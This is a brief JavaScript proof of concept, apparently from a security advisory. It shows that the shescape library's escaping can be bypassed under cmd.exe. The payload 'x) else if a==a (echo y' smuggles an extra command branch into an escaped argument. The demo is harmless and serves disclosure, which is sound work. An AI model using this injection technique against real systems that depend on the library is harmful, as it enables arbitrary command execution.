import * as cp from "node:child process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
  shell: "cmd.exe",
  // Or
  shell: true, // Only if the default shell is CMD
};

// 2. Payload
const payload = "x) else if a==a (echo y";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`if defined FALSY (echo ${escapedPayload})`, options);

// 4. Impact
console.log(result.toString());
// Outputs "y" instead of ""
